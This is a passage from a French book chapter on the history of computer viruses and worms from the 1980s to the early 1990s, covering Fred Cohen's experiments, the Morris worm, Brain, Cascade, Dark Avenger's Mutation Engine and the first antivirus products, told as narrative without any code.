la mme poque, dautres virus furent crits par un certain Joe Dellinger alors tudiant luniversit du Texas A&M. Il indiqua plus tard que son but tait de mesurer le temps mis par sa cration pour investir lensemble de ses disquettes3. La premire version ntait pas satisfaisante, mais la seconde (Virus 2) intressa certains de ses collgues qui dcidrent dinfecter leurs propres disquettes. Peu de temps aprs, des dfauts dafchages apparurent sur des versions pirates du jeu Congo. Il sagissait dun effet secondaire du virus qui stait propag plus que ne lauraient souhait les jeunes tudiants. Ils crrent alors un programme vaccin (immunizer). Joe crivit ensuite une troisime version de son virus dont le but tait de corriger les effets indsirables de la version 2.

2.5 FRED COHEN


Lhistoire des virus informatiques ne saurait tre complte sil ny tait pas fait mention des travaux du Docteur Fred Cohen. Licenci s Sciences en Electrotechnique lUniversit de Carnegie-Melon en 1977, il obtint une Matrise en Science de lInformation lUniversit de Pittsburg en 1981 et en 1986 un Doctorat en Electricit lUniversit de Californie du Sud. De janvier 1985 avril 1987, il est professeur en informatique et en lectrotechnique lUniversit de Lehigh. Puis, jusquen dcembre 1988, il est professeur dlectricit et dinformatique lUniversit de Cincinnati. Dans les annes 1990, il devient membre de divers organismes de renom dont lIEEE (Institute of Electrical and Electronics Engineers). En 1983, Fred Cohen sintresse dj aux programmes auto reproducteurs. Le 10 novembre, il doit prsenter un papier sur ce sujet un sminaire sur la scurit informatique. Pour symboliser le concept expos, Len Adleman, son responsable de thse, fait un lien avec le phnomne biologique et lui propose le terme de virus. Pour tayer ses thories, Fred Cohen dcide de mener ses premires exprimentations. Le 3 novembre 1983, aprs 8 heures de travail sur un VAX 11/750 sous UNIX, le premier virus est prt. Linfection initiale est implante au dbut dun programme utilitaire : le code ainsi ajout sexcute en premier, avant le programme normale1. VIRUS-L Digest (1989-1), Apple 2 Elk virus, Mercredi 10 fvrier 1989, Volume 2 : Issue 43. 2. http://www.skrenta.com. 3. The Risks Digest (1991), Contribution intitule RE: Prize for Most Useful Computer Virus, Vol12, Issue30 (Mercredi 11 septembre 1991).

Dunod La photocopie non autorise est un dlit

42

Chapitre 2. Historique de linnocence la tentation criminelle

ment attendu. Le programme modi tant diffus secrtement un groupe dutilisateurs, il y eut cinq attaques virales successives. La premire exprience ne dura que 5 minutes. Les suivantes ne dpassrent pas 30 minutes. Les attaques taient troitement contrles et le succs fut nanmoins total. La principale surprise vint de la rapidit de propagation. Les exprimentateurs constatrent aussi que le temps dinfection dun programme sain nattirait pas lattention (moins dune demi seconde). Une fois ces rsultats annoncs, les administrateurs systmes dcidrent de ne plus permettre la poursuite des recherches. Dautres autorisations furent cependant obtenues et des exprimentations eurent lieu en juillet 1984 sur un ordinateur UNIVAC 1108 puis en aot sur un systme VAX sous UNIX. Fred Cohen publia son premier document sur le sujet en 1984. Celui-ci contient une dnition du virus qui fait encore aujourdhui valeur de rfrence1 : Un virus informatique est un programme qui a la capacit dinfecter dautres programmes en les modifiant de telle sorte quils contiennent ensuite une copie de luimme. Grce cette proprit dinfection, un virus peut se propager au travers dun systme informatique ou dun rseau. Le virus utilise alors les droits de chaque utilisateur pour infecter ses programmes. Chaque programme infect agit ensuite comme un virus rpandant ainsi linfection. compter de cette date, Fred Cohen crivit de nombreux documents sur le sujet. Les premiers dentre eux parurent dans la revue Computer & Security entre 1987 et 1989 : Computer Viruses Theory and Experiments2 (1987). On the Implications of Computer Viruses and Methods of Defense3 (1988). Ethical Issues in Computer Virus Distributions4 (1988). Models of Practical Defenses Against Computer Viruses5 (1989). Computational Aspects of Computer Viruses (1989).

1. COHEN Fred. (1984), Computer Viruses Theory and Experiments, DOD/NBS 7th Conf. on Computer Security. IFIP-sec 84. 2. Computer Viruses Theory and Experiments, Computers & Security, Volume 6 (1987), pp 22-35. 3. On the Implications of Computer Viruses and Methods of Defense, Computers & Security, Volume 7 N2 (1988), pp 167-184. 4. Ethical Issues in Computer Virus Distributions, Computers & Security, Volume 7 N4 (1988), pp 335-336. 5. Models of Practical Defenses Against Computer Viruses, Computers & Security, Volume 8 N2 (1989), pp 149-160.

2.6 Les premiers vers

43

2.6 LES PREMIERS VERS


Entre 1987 et 1989, les grands rseaux sinterconnectent. Ce fut dabord la communication e-mail entre les mondes Unix (SMTP), VMS et BITNET. Arrive ensuite une passerelle qui fait un lien avec UUCP et ARPAnet (le futur Internet). Les utilisateurs dInternet passent de 10.000 100.000. Commencent alors les soucis de scurit.

2.6.1 BITNET : IBM Christmas Tree


Le premier ver ayant eu un retentissement important fut IBM Christmas Tree. crit par un tudiant ouest-Allemand il fut diffus le 9 dcembre 1987 sur le rseau amricain BITNET (machines IBM). Le 17 dcembre 1987, il nit par paralyser le rseau de messagerie priv VNET. Il fallut tout arrter jusqu la localisation et la suppression de toutes les copies du ver. Il se prsentait sous la forme dun courrier lectronique avec un chier attach (CHRISTMA EXEC). son excution, il afchait ses vux, prenait lensemble du carnet dadresse de la messagerie de lutilisateur et se diffusait de lui-mme tous les destinataires1.

2.6.2 INTERNET : RTM Worm


Revenons un instant sur nos trois amis informaticiens qui crrent Darwin en 1962. Lun dentre eux, Robert P. Morris Senior eut un fils : Robert Tappan. son tour, il se passionna pour linformatique. En 1988, il a 23 ans et tudie lUniversit de Cornell. Internet est alors un rseau de 60.000 machines2. Le 2 novembre, il y injecte un programme auto reproducteur. Ne souhaitant implmenter quun seul exemplaire de son programme par machine, celui-ci fonctionne autrement que prvu. Il se propage plus brutalement et sature la mmoire de ses htes par ses multiples copies. Apprenant quelques heures plus tard que des ordinateurs interconnects au rseau se plantaient du fait dune rinfection incessante, Robert Tappan t poster, dans la confusion gnrale, un message dexcuses donnant des instructions pour dtruire son programme3.

Dunod La photocopie non autorise est un dlit

1. FERBRACHE David. (1990), Worm Programs, Virus Bulletin. avril 1990. pp 6-9. 2. LOTTOR Marc (Octobre 1988), Rencontre de lIETF (Internet Engineering Task Force), Ann Arbor. 3. CLOUGH Brian & MUNGO Paul (1993), Dlinquance Assiste par Ordinateur, DUNOD. ISBN 2-10-002013-7. Traduit de langlais Approaching Zero, Faber & Faber Limited. London.

44

Chapitre 2. Historique de linnocence la tentation criminelle

Le rapport dexpertise technique dEugne Spafford1 prsente la chronologie complte des vnements. Il indique que moins de 5 % des machines du rseau furent t touches par le ver qui prit le nom de son auteur (RTM). En France, sous lgide du Premier Ministre, le Service Central de la Scurit des Systmes dInformation mit une note dinformation destination des entreprises ayant traiter des donnes sensibles. Elle leur demandait dviter de se raccorder de tels rseaux dont les points faibles sont multiples, et qui sont largement utiliss par les pirates de tout poil. . Une note du SCSSI2 remet aussi en cause la plupart des interprtations alarmistes parues dans la presse. Elle souligne que : lattaquant navait quune connaissance lmentaire dUNIX et du rseau Internet, le code utilis navait rien de professionnel, et navait pas t pralablement test, tout le code ntait pas excutable, les actions relles avaient t moins graves que ce qui tait ventuellement prvu, des erreurs de conception avaient rendu le ver moins virulent que ce quil aurait pu tre. Cet incident fut cependant lorigine de la cration des CERT (Computer Emergency Response Teams).

2.6.3 DECNET : Father Christmas Worm


Six semaines plus tard, le 23 dcembre 1988, le rseau SPAN de la NASA (Space Physics Analysis Network) accueillait Father Christmas Worm. Comme IBM Chrismas Tree, il affichait des vux de Nol. Il ciblait les systmes VMS de DEC via le protocole DECNET. Le fichier attach se nommait HI.COM. Le ver devait attendre le 24 dcembre minuit pour se diffuser par mail3.

2.6.4 DECNET : Worms Against Nuclear Killers


Lattaque suivante dbuta le 16 octobre 1989. Il sagissait dun nouveau ver affectant les plates-formes DEC VMS et utilisant lui aussi le protocole DECNET. Ce ver, intitul WANK (Worms Against Nuclear Killers), se propageait sur le rseau de compte
1. SPAFFORD Eugne H. (1991), The Internet Worm Incident, Technical Report CSD-TR-933, Department of Computer Sciences. Purdue University. Disponible ladresse : ftp://coast.cs.purdue.edu/pub/doc/morris_worm. 2. Service Central de la Scurit des Systmes dInformation, note dinformation N 01/89 (7 fvrier 1989). 3. FERBRACHE David (1990), Worm Programs, Virus Bulletin. avril 1990. pp 6-9.

2.7 1986-1987 : Premires infections

45

en compte. Il modifiait la bannire daccueil et les mots de passe. Il mettait aussi en uvre un processus de spamming pour perturber les utilisateurs connects1.

2.7 1986-1987 : PREMIRES INFECTIONS


Lutilit du secteur de dmarrage dune disquette avait t dcouverte et exploite en 1981 par lauteur du virus APPLE II Elk Cloner. Cette mme dcouverte fut faite par deux frres tenant une boutique informatique Lahore (Pakistan). Cest avec celle ci que dmarre une premire poque de quatre annes ou lon verra apparatre les premiers anti-virus.

2.7.1 BRAIN
La boutique des deux frres prcdemment cits se nommait Brain Computer Services. De nombreuses sources nous rapportent que ces deux personnes proposaient leurs clients des logiciels. Selon certains, il sagissait de logiciels de leur fabrication, pour dautres des copies de LOTUS-123. Si ces programmes taient destins ltranger, la disquette contenait le virus. Son label devenait : (c) Brain . Lun des buts de cette manipulation aurait t la mesure de ltendu du piratage en vue de le contrecarrer. Une autre source qui semble plus able indique que les frres rent cela pour samuser ( for fun )2. Cest pour le moins ce que rapporte un journaliste du The Chronicle of Higher Education qui aurait interrog Basit Alvi alors g de 19 ans. Divers messages taient insrs dans le code viral, les principaux se situaient dans le premier secteur physique de la disquette. Dautres messages taient dissmins dans les 6 autres secteurs quoccupait le virus. On y trouvait entre autres, les coordonnes compltes des deux auteurs.
Dunod La photocopie non autorise est un dlit

La version originale du virus ninfectait pas le disque dur, elle se contentait de se dupliquer de disquette en disquette. Ce premier virus systme tait galement furtif. Dans un environnement infect, lanalyse de la zone systme ne rvlait rien danormal ; le virus retournait au programme qui linterrogeait une image saine de la zone. Le 22 octobre 1987, le virus est repr lUniversit de Delaware3. De nombreuses variantes contenant des messages modis furent ensuite rencontres.

1. CERT (17 octobre 1989), Advisory CA-89:04. WANK Worm On SPAN Network, Disponible ladresse : http://www.cert.org/advisories/CA-1989-04.html. 2. HIGHLAND, Harold Joseph (1988-1), Computer Viruses A Post Mortem, Computers & Security, Avril 1988, pp.117-125. 3. HIGHLAND, Harold Joseph (1988-2), The BRAIN Virus : Fact and Fantasy, Computers & Security, Aot 1988, pp.367-370.

46

Chapitre 2. Historique de linnocence la tentation criminelle

2.7.2 Ralf Burger & Berdn Fix


Toujours en 1986, un programmeur allemand, Ralf Burger, imagine le premier virus programme. Il prsente son ide la confrence du Chaos Computer Club de dcembre 1986 Hambourg. Il y distribue VIRDEM ; virus conu pour infecter par ajout les fichiers de type .com. Son ide a un grand succs, il dcide dcrire un livre qui parat en 1987. crit en allemand, une version anglaise est disponible un an plus tard1. Dans ces livres, divers codes sont mis la disposition du public. cot de VIRDEM et de IBM Christmas Tree, on trouve pour la premire fois le code dsassembl et expliqu dun virus qui circulait depuis la n 1987 : il sagissait de Vienna. Le dsassemblage fut un travail commun entre Ralf et Berdn Fix. Lui aussi tait prsent Hambourg en 1996. Il avait crit un virus de dmonstration intitul Rush Hour aprs avoir lu le livre de John Brunner2. Avec ces premiers livres, arrivent les premires justications quant la cration et la distribution de codes viraux : selon les auteurs, ils permettront de dcouvrir les failles de scurit dans les systmes.

2.7.3 Les universits en premire ligne


1987 fut lanne des premires infections. Autour du monde, les universits furent souvent exposes : Brain luniversit de Delaware, Lehigh luniversit de Lehigh (USA), Jrusalem luniversit technique Technion de Hafa en dIsral, Stoned luniversit de Wellington de Nouvelle-Zlande, Ping-Pong luniversit de Turin (Italie).

Lehigh ne sest jamais rpandu hors de luniversit. Dtruisant aprs 4 gnrations une partie de la table dallocation des chiers et ninfectant que le chier command.com, ses chances de propagation taient trop minces. Jrusalem, tait plus discret. Par opposition Lehigh, il ninfectait pas le command.com et son module de destruction nentrait en action que plus rarement : uniquement un vendredi 13. An de parfaire la discrtion initiale, une routine particulire lui t omettre le vendredi 13 novembre 1987, trop proche de son lancement3. La rumeur nous rapporte que lauteur souhaitait peut-tre commmorer sa faon le 13 mai 1988, date du 40me anniversaire de la cration de ltat hbreu.
1. BURGER Ralf (1987 & 1988), Das groe Computer-Viren-Buch, Data Becker, ISBN 3-89011200-5. Computer Viruses, a high-tech disease, Abacus, ISBN 1-55755-043-3. 2. FIX, Bernd, A strange story. Document disponible ladresse : http://www.brainon.ch/area51/brf/devstuff/rahab/rahab.html. 3. SKULASON Fridrik, Dening The Jerusalem Variants, Virus Bulletin, Octobre 1990, p. 8.

2.8 1988 : Les premiers antivirus pour ibm pc

47

Stoned, alias Marijuana, fut le premier virus infectant le secteur de partition (Master Boot Record MBR). Il fut longtemps le virus le plus rpandu au monde. Une fois sur huit, lors du dmarrage, il afchait le message Your PC is now Stoned ! . Jamais afch, le texte LEGALISE MARIJUANA tait aussi contenu dans le code.

2.7.4 Larrive du cryptage


Toujours en 1987, un programmeur allemand crivit un virus trs visuel. De septembre dcembre 1988, il provoquait la chute des lettres au bas de lcran. Celles-ci sempilaient en laissant lutilisateur abasourdi. Leffet graphique donna son nom au virus : Cascade. Cascade fut aussi le premier virus crypt. Seul restaient en clair les 35 premiers octets ddis au dcryptage. Au premier examen, chaque chier infect semblait ltre par un virus diffrent. Cette nouvelle technique rendait la dtection plus difcile. Lradication du virus devenait aussi plus prilleuse. Les 3 premiers octets restituer ne pouvaient ltre directement. Ils taient prsent dans la zone crypte et devaient tre dcods avant leur rtablissement.

2.8 1988 : LES PREMIERS ANTIVIRUS POUR IBM PC


En janvier 1988, une douzaine de virus sont recenss. Pour certains dentre eux, tels que Brain, Jrusalem ou Vienna, des programmes spcifiques de dtection et dradication sont rapidement crs. Mis au point par les premiers professionnels anti-virus, ils ne ciblaient quun seul virus. ltonnement de ces chercheurs, ces premiers produits dtectrent bientt dautres virus : des variantes. Non seulement lantivirus venait de natre, mais avec lui, lintrt de la dtection gnrique et heuristique.
Dunod La photocopie non autorise est un dlit

2.8.1 Virus Antivirus


En mars 1988, Bandung, Denny Yanuar Ramdhani crait les deux premiers virus indonsiens. Il les baptisa Den Zuko et Hackers. Leurs buts taient de diffuser le bonjour de leur auteur aux utilisateurs de micro-ordinateurs de la ville lorsque ceux ci pressaient simultanment les touches <CTRL><ALT><DEL>. Avant le redmarrage de la machine, apparaissait alors pendant un bref instant une image en couleur contenant le texte DENZUKO accompagn dun logo inconnu. La seconde variante du virus sattachait dtecter et liminer sa prcdente version. Elle cherchait aussi liminer le virus Brain puis immuniser la disquette contre toute nouvelle attaque de celui-ci. Elle changeait le nom de volume de la disquette en Y.C.1.E.R.P. . Cette trange chane de caractres se retrouvait aussi dans un texte associ la premire variante. En 1990, Fridrik Skulason y vit un indicatif de radio amateur et

48

Chapitre 2. Historique de linnocence la tentation criminelle

consulta lInternational Callbook. Lindicatif en question correspondait un radioamateur de Bandung. Il le contacta et reu ses aveux en retour1. Notons pour nir que ce virus utilisait une nouvelle technique de dissimulation. Les disquettes 360 Ko de lpoque taient constitues de 40 pistes (numrotes de 0 39). Le virus en activait une 41ime, numrote 40, pour y cacher son code complmentaire. Il devint donc potentiellement destructeur ds quapparurent les disquettes haute densit constitues de 80 pistes utiles.

2.8.2 Monitoring de programme


Les programmes ddis la surveillance des activits suspectes sur une machine existaient avant lapparition de Brain. En 1985, Andy Hopkings proposait Chk4Bomb. Comme son nom le laisse supposer, ce programme tait cens protger les machines au regard des bombes logiques de lpoque. Il surveillait les tentatives de formatage, laccs direct au disque et les accs en criture vers des secteurs physiques. Il permit dintercepter quelques-uns des premiers virus. De mme, en 1987, Ross Greenberg cre un programme de protection contre les activits malveillantes induites par les chevaux de Troie et les vers. Flu_shot surveille lactivit en mmoire, les modication ventuelles de chiers systme, les tentatives de formatage, etc. Via un contrle dintgrit, (mthode de checksum) il vrie non seulement les zones systme mais les chiers. Trs vite, Ross se rend compte que son programme est mme de contrarier les virus du moment. Il le propose comme une rponse Lehigh2. Avec dautres programmes similaires, et avant la recherche par signature, Chk4Bomb et Flu_shot peuvent tre considrs comme les premiers anti-virus pour IBM PC. En 1988, et selon la mme technique, la socit Interpath, proposera C-4 et Sentry. Le patron de cette petite compagnie sera rapidement connu puisquil nest autre que John McAfee.

2.8.3 DATACRIME : Lantivirus est au commissariat !


En 1989, les mdias font leurs gros titres sur certains virus. Elles annoncent limminence de dgts. Il sagit dabord de Jrusalem, qui, plus dun an aprs sa dcouverte, fait encore peur. En 1989, il y a deux vendredis 13, le premier tombe en janvier. Les

1. SKULASON, Fridrik (Fevrier 1991), The Search for Den Zuk, Virus Bulletin, Fvrier 1991, pp 6-7. 2. GREENBERG, Ross M. (Fvrier 1988), Cit dans une contribution du Forum The Risk Digest , Volume 6 : Issue 25, Virus (Trojan) protection program now available from SIMTEL20. Document disponible ladresse : http://catless.ncl.ac.uk/Risks/6.25.html.

2.8 1988 : Les premiers antivirus pour ibm pc

49

bureaux dAlan Solomon qui propose maintenant un anti-virus (Anti-Virus Toolkit from S&S) sont envahis par les camras de tlvision. Les quelques entreprises ayant repr le virus font lobjet de nombreuses demandes dinterview. Dans son histoire des virus informatiques, Alan sattarde plus longuement sur Datacrime. Dcouvert en mars 1989 aprs quun hollandais du nom de Fred Vogel lai contact, ce nouveau virus enamme aussi les mdias. On dcouvre en effet quil est programm pour excuter un formatage bas niveau du premier cylindre des disques durs quil a infects. Le dclenchement programm peut sactiver tout moment entre le 12 octobre et le 31 dcembre. Sil intervient, il dtruit la table dallocation des chiers entranant ainsi la perte des donnes. En Hollande, la police prend le problme au srieux. Laction de Datacrime est considre comme un acte criminel. On demande un programmeur dcrire un dtecteur ; il est ensuite mis la disposition du public dans les commissariats contre une somme minime. Outre Datacrime, la menace de Jrusalem surgit nouveau. Le 13 octobre 1989 est aussi un vendredi. Les entreprises hollandaises sinquitent donc et questionnent IBM sur tous ces virus qui font parler deux. Aprs avoir trouv sur un de ces sites une variante de Cascade, IBM avait dcid, un an plus tt, de mener ses propres recherches. Lentreprise disposait maintenant de son propre laboratoire (le High Integrity Computing Laboratory dans son centre de recherche Thomas J. Watson) dirig par Steve White. Ainsi IBM avait maintenant un anti-virus pour un usage interne. Linsistance des grands comptes les amena proposer en septembre 1989, une version 1.0 de leur logiciel IBM V SCAN. Une proposition de vente fut envoye de nombreux grands comptes franais. Outre Atlantique, la proximit de lanniversaire de la dcouverte de lAmrique par Christophe Colomb (le 2me lundi doctobre) amne la presse dbaptiser le virus. Datacrime prend le nom de Columbus Day. L-bas aussi, laffaire fait grand bruit (on parle dune action terroriste !) alors quil est probable quaucune souche du virus nait t rencontre. En France Datacrime et Jrusalem sont rests discrets. Le journal Le Monde du 15 octobre 1989 titre Apocalypse not Le virus a fait chou blanc : il ny a pas eu de grande panne informatique le vendredi 13 . Larticle indique que depuis deux jours, on na plus de mots assez durs, chez IBM, pour se moquer du mouvement de panique apparu en France et aux Pays-Bas. Toujours selon le journal, le CLUSIF1 indique que deux grandes entreprises et une cinquantaine de PME lui ont dclar quelles avaient t contamines et avance un taux de contamination de 1 %.

Dunod La photocopie non autorise est un dlit

1. CLUSIF : CLub de la Scurit des Systmes dInformation Franais. Fond en 1984.

50

Chapitre 2. Historique de linnocence la tentation criminelle

2.8.4 Recherche par signature


Outre un READ.ME, IBM V SCAN comportait 3 fichiers : VIRSCAN.EXE (lexcutable de 44983 octets), SIGFILE.LST (les signatures de virus fichier, 2873 octets), SIGBOOT.LST (les signatures de virus systme, 980 octets). Dans sa version doctobre 1989, il dtectait 28 virus. Portant le mme nom de chier que le produit dIBM (VIRSCAN.EXE), mais destin au grand public, un logiciel gratuit est distribu ds aot 1989 sur FidoNet1. Le programme est mis au point par J. P. van der Landen et Jan Tersptra. Le second soccupe du chier de signature. Il se nomme VIRSCAN.DAT et dtecte dans sa premire version une vingtaine de virus. Quelques mois plus tard, dautres produits tels que TBSCAN et HTSCAN (juin 1990) utiliseront ce mme chier. Les signatures sont simples, on nutilise alors aucun caractre gnrique (ni joker, ni wildcard). Des recherches similaires ont lieu simultanment dans divers pays et de nombreux produits comparables apparaissent ds la mi 1989 (URSS, Isral). Ne ciblant encore parfois quun seul virus, certains grands noms sortent de lombre : Vesselin Bontchev, sintresse aux virus ds 1988. Il propose des logiciels gratuits (freeware). Roger Riordan cre une premire version de Vet (Cybec) en avril 1989 (elle ne dtecte que le virus Stoned. Avant de proposer F-Prot en avril 1989, Fridrik Skulason cre un programme dtectant le seul Cascade. John McAfee distribue VirusScan. Cest un logiciel contributif distribu gratuitement lessai (shareware). Une version licencie peut tre obtenue pour 15 dollars. Avec sa version 0.3V19 en date du 2 juillet 1989, 19 virus diffrents sont dtectables auxquels sajoutent de nombreuses variantes. Un top-10 est dit, il regroupe, selon son auteur, plus de 90 % des infections recenses. En dcembre 1989, lordinateur dEugne Kaspersky est infect par Cascade. Cet vnement le pousse changer de carrire et crer son premier antivirus : -V (minus-virus) quil renommera bien plus tard AVP AntiViral Toolkit Pro.

1. Fidonet est un rseau mondial de micro serveurs, aussi appels serveurs ou BBS (Bulletin Board System).

2.9 Lnigme du premier macro-virus

51

TOP-10 (source McAfee Juillet 1989) Pakistani Brain Jrusalem Alameda Cascade (1701/1704) Ping-Pong Stoned Lehigh Den Zuko Datacrime (1280/1168) Fu Manchu

2.9 LNIGME DU PREMIER MACRO-VIRUS


Lorsque apparat en 1995, le virus Concept, de nombreux chercheurs anti-virus dclarrent lavoir depuis longtemps envisag. Certains, avec le Docteur Harold Joseph Highland, en souponnaient mme lexistence en Europe ds le milieu de lanne 1988. Dans un premier temps, ce scientique prfra garder le silence, pour ne pas donner dides certains vandales. Pour ne pas laisser les responsables scurit dans lignorance, il se dcida publier, en aot 1989, un article dans Computers & Security1. Un autre argument avanc fut la crainte infonde dune telle menace du fait de lexistence de procdures de dtection trs simples pouvant prvenir toute infection.
Dunod La photocopie non autorise est un dlit

Larticle commence ainsi : Il y a presque un an de cela, alors quclataient divers rapports nous alertant sur les virus informatiques The Pakistani Brain, Lehighs COMMAND.COM, Friday the 13th, April 1st, Alameda Boot nous recevions galement des informations persistantes de virus sattaquant aux feuilles de travail. cette poque nous tions incapables den conrmer leurs existences. Nous dcidions dinclure cela parmi les hystries collectives ou lon crie lattaque virale alors quil ne faut voir quune erreur humaine ou un bug de programme. Dans ce mme papier, on apprend quune telle attaque eue lieu dans une grande entreprise multinationale la n de 1988. On apprend aussi que lauteur de larticle et ses collgues ralisrent, sous Lotus 123, un macro-virus de laboratoire dont lobjectif tait laltration dune valeur dans une cellule de feuille de calcul lors de son
1. HIGHLAND, Harold Joseph (1989), Random Bits & Bytes, Computers & Security, Aot 1989, pp178-188.

52

Chapitre 2. Historique de linnocence la tentation criminelle

ouverture. Dans le cas prsent, le virus utilisait une macro auto excutable grant les sauvegardes et certaines oprations ralises en mode multi-utilisateurs. Elle tait charge automatiquement chaque fois quun chier existant tait ouvert. Lauteur indique quun macro-virus, qui nest pas un virus de donnes , peut tre envisag avec dautres logiciels, voire avec un simple diteur de texte, partir du moment ou il est possible dcrire ses propres macros. Pour se protger, il indique la ncessit dexaminer la prsence de macros avant louverture dun modle ou dune feuille de travail. Pour cela, il prconise : lutilisation de ldition avance des Norton Utilities1 pour retrouver le nom des macros laide de lditeur hexadcimal, lvaluation, sous Lotus 123, des macros dont une liste vient dtre tablie, la recherche dventuelles lignes, colonnes ou cellules caches. Deux jours aprs lannonce de la prochaine diffusion de larticle, la revue avait reu de nombreuses demandes de souches. Quatre manaient de concepteurs de produit anti-virus. Lditeur dcida alors dajouter une note prcisant : Nous navons dnitivement pas lintention denvoyer de virus quiconque souhaite raliser une intervention sur le sujet ou une dmonstration publique. Le comit ditorial concluait : Nous apprcierons de ne plus recevoir aucune demande touchant les virus si elle nmane pas dun organisme gouvernemental. Nous dcidons de ne plus fournir le moindre renseignement sur la macrovirus dcrite dans nos colonnes. Veuillez ne plus nous crire et ne plus nous tlphoner ce sujet ; notre rponse sera toujours <NON>. Telle fut, peut-tre, la raison du silence qui persista jusquen 1994.

2.10 1989 1992 : INVESTIGATION ET CHALLENGE


En juillet 1989 sort le premier numro dune publication internationale sur la prvention, la dtection et la suppression des virus informatiques. Il sagit du mensuel anglais Virus Bulletin. Aujourdhui encore, il sagit de la revue de rfrence du domaine. La plupart des chercheurs y crivent rgulirement des articles. Trs technique, elle a su ds lorigine proposer des descriptions compltes et prcises sans jamais diffuser un seul morceau de code. Trs rgulirement elle propose des comparatifs produits sans complaisance et distribue ses rcompenses intituls VB 100 % award. Trs vite, les deux principales sources ables de chanes de recherche sont la revue Virus Bulletin et le produit IBM scanner.

1. Srie dutilitaires aujourdhui distribue par Symantec.

2.10 1989 1992 : Investigation et challenge

53

Le forum VIRUS-L sest lui aussi mis en place. Au travers des changes de ses participants, il donne des informations sur les vers et les virus, aussi bien que sur les rseaux et les micros. Cest alors que les choses se compliquent lOuest comme lEst.

2.10.1 Le vengeur tnbreux


partir du printemps 1989, un auteur bulgare se faisant appeler Dark Avenger imagine de nouveaux virus. Dune taille de 1800 octets, le premier dentre eux porte le nom de son auteur. Intgre au code, une chane de caractres prcise : This program was written in the city of Sofia 1988-89 Dark Avenger . Cest un infecteur rapide (fast infector) : une fois en mmoire, il est mme dinfecter un chier lors dune simple manipulation. Il nest plus indispensable de lexcuter pour linfecter. Une simple copie dun rpertoire vers un autre savre sufsante. Lide dagir louverture du chier est nouvelle. Cette stratgie contribue la propagation et la notorit du virus et de son auteur. En effet, la simple utilisation dun anti-virus obsolte en environnement contamin, peut conduire linfection de lensemble des excutables vris. Dark Avenger.1800 est aussi destructeur et vicieux : il crase, chaque seizime excution de son code, un secteur du disque choisi au hasard. Il entrane ainsi des corruptions qui ne sont pas ncessairement repres et qui peuvent corrompre silencieusement des sauvegardes effectues postrieurement lapparition du virus. Dark Avenger signait nombre de ses virus, il samusait aussi brouiller les cartes en faisant en sorte de les attribuer des chercheurs tels que Vesselin Bontchev (Dark Avenger.2000, Dark Avenger.2100). Cest cette poque quentrent en jeu les premiers BBS (Bulletin Board System) dchange de virus. Dark Avenger les utilise pour diffuser ses crations et dialoguer avec dautres auteurs. Il encourage la cration de virus et lesprit de comptition. Avec ses compatriotes il fait de la Bulgarie un leader dans la production des virus. Ceux-ci sont souvent destructeurs et contiennent des messages qui prcisent leur provenance. En janvier 1992, les virus polymorphes se rpandent. Depuis le Virus eXchange BBS, Dark Avenger annonce larrive dun nouveau venu capable de prendre 4.000.000.000 de formes diffrentes : Cest son Mutation Engine. Cet outil, parfois quali de rvolutionnaire, est toujours source dinspiration pour de nombreux auteurs de virus. MtE nest pas en lui mme un virus, mais une surcouche qui, applique un virus existant, le crypte avec un module lui-mme variable (polymorphie). Ce procd tend rendre partiellement inefcace les techniques de recherche de lpoque.

Dunod La photocopie non autorise est un dlit

54

Chapitre 2. Historique de linnocence la tentation criminelle

Lutilisation dun gnrateur de nombre alatoire gnre des changements chaque mutation. Il nest alors plus possible didentier deux variantes conscutives avec la mme procdure de recherche. De plus, le gnrateur utilis nest pas ncessairement celui rsultant de MtE ; un autre auteur de virus peut en intgrer un autre, issu de ses propres recherches. Lutilisation du MtE nest pas la porte de tous ; il faut de bonnes connaissances en assembleur. Parmi les virus crs sur ce principe, citons MtE.Pogue, issu de la famille Gotcha et cr par Masud Khar (groupe TridenT). Il mettra au point un outil similaire au MtE en 1992 et 1993 : le TPE TridenT Polymorphic Engine. Dark Avenger inventa bien dautres techniques virales volues telle que celle du fractionnement. Il appliqua cette mthode Commander Bomber. Elle consiste insrer des parties de code viral en divers endroits du chier infect an dobliger lanti-virus mener une recherche tendue.

2.10.2 1260 : Le premier virus polymorphe


En partant du virus Vienna, un amricain nomm Mark Washburn cre le premier virus polymorphe (1260, alias V2P1)1. Sa particularit est quil utilise un encryptage variable. Le dcrypteur, plac au dbut du virus peut prendre plusieurs formes. Les 8 instructions ncessaires au dcryptage sont places dans un ordre alatoire tandis que dautres instructions sans aucune utilit sont insres ici et l. Ces instructions naffectent aucunement le contenu des registres ; leur seule utilit est dinterdire lutilisation dune recherche base sur une chane hexadcimale simple. Cet auteur cra des virus de plus en plus complexes (de V2P1 V2P6, alias Chameleon). Certains diteurs danti-virus mirent beaucoup de temps pour imaginer une solution able de dtection. Ils devaient analyser statistiquement le code, reprer une ventuelle boucle de programmation et, pour certains, tenter un dcryptage avant de poursuivre la recherche au sein des chanes dcryptes. Chez Sophos, le Docteur Jan Hruska intgre dans son scanner Vaccine une routine capable de comprendre le code analyser. Il la baptise VDL (Virus Description Language). De son cot, Alan Solomon, rpond par un outil de dcryptage gnrique : GDE Generic Decryption Engine. Il lincorpore sa technologie propritaire Virtran.

2.10.3 Flip, Tequila ET Maltese Amoeba


En septembre 1990, un virus trs visuel voit le jour. Il est polymorphe et multipartite. Ce nouveau qualificatif est ddi aux virus infectant la fois les zones systme et les fichiers. la diffrence de ses 2 prdcesseurs ( Anthrax et V1), il fonctionne !

1. The Shape Shifters, Virus Bulletin, novembre1993, pp 13-15.

2.10 1989 1992 : Investigation et challenge

55

Son nom est Flip, (alias Omicron). Sil investit la machine dun utilisateur, celuici risque dtre surpris : le deuxime jour de chaque mois, entre 16h et 16h59, lafchage pivote de 180 degrs. Il faut liminer le virus ou retourner son cran Lauteur signe son virus avec le message : OMICRON by PsychoBlast 3 mois plus tard, en Suisse, lauteur prsum de Flip cre Tequila. Il sagit aussi dun virus multipartite. Il est partiellement furtif et hautement polymorphe. Un ami de lauteur, dont le pre distribue des logiciels de jeu, le drobe. Les logiciels sont infects. Pour la premire fois, un virus polymorphe se diffuse grande chelle. Le principal effet du virus est lafchage dun bloc graphique reprsentant une courbe fractale de Mandelbrot1. Lafchage nest pas systmatique, il dpend de la date et du nombre de chiers infects. Divers textes sont appels lcran. Lun dentre eux aida sans doute la police dans sa recherche des coupables : Welcome to T.TEQUILAs latest production. Contact T.TEQUILA/P.o.Box 543/6312 Sthausen/Switzerland. Loving thoughts to L.I.N.D.A BEER and TEQUILA forever ! Les 2 amis sont arrts le 20 mai 1991 dans le village suisse de St Hausen2. Outre la polymorphie, ce 